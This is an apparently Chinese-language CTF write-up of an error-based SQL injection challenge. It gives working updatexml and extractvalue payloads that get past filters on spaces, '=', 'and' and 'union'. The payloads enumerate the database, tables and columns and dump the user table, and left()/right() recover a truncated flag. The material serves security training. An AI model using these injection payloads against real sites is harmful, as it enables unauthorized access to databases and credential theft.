手工测试发现and,空格,=,union都过滤掉了,这里我们可以用()来绕过空格,like绕过=。使用updatexml或者extractvalue报错注入。
updataxml报错注入
爆数据库信息:?username=asd'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
爆出数据库:~geek~
爆表:?username=asd'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23&password=1
得到表名:H4rDsq1
爆列名:?username=asd'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1
得到列名:id,username,password
查数据:?username=asd'or(updatexml(1,concat(0x7e,(select(group_concat(id,0x7e,username,0x7e,password))from(H4rDsq1)),0x7e),1))%23&password=1
得到数据:~1~flag~flag{03e736ec-7225-4345-
发现flag被截胡了,可以用left()right()来查一半再来拼接
payload:?username=asd'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=1
?username=asd'or(updatexml(1,concat(0x7e,(select(group_concat(left(password,30)))from(H4rDsq1)),0x7e),1))%23&password=1
再拼接就可以得到正确的flag了啦
extractvalue报错注入
payload:?username=asd'or(extractvalue(1,concat(0x7e,(select(group_concat(0x7e,password))from(H4rDsq1)))))%23&password=1
与updatexml报错注入相比,extractvalue只需要两个参数,所以只需要将updatexml第三个参数删去即可。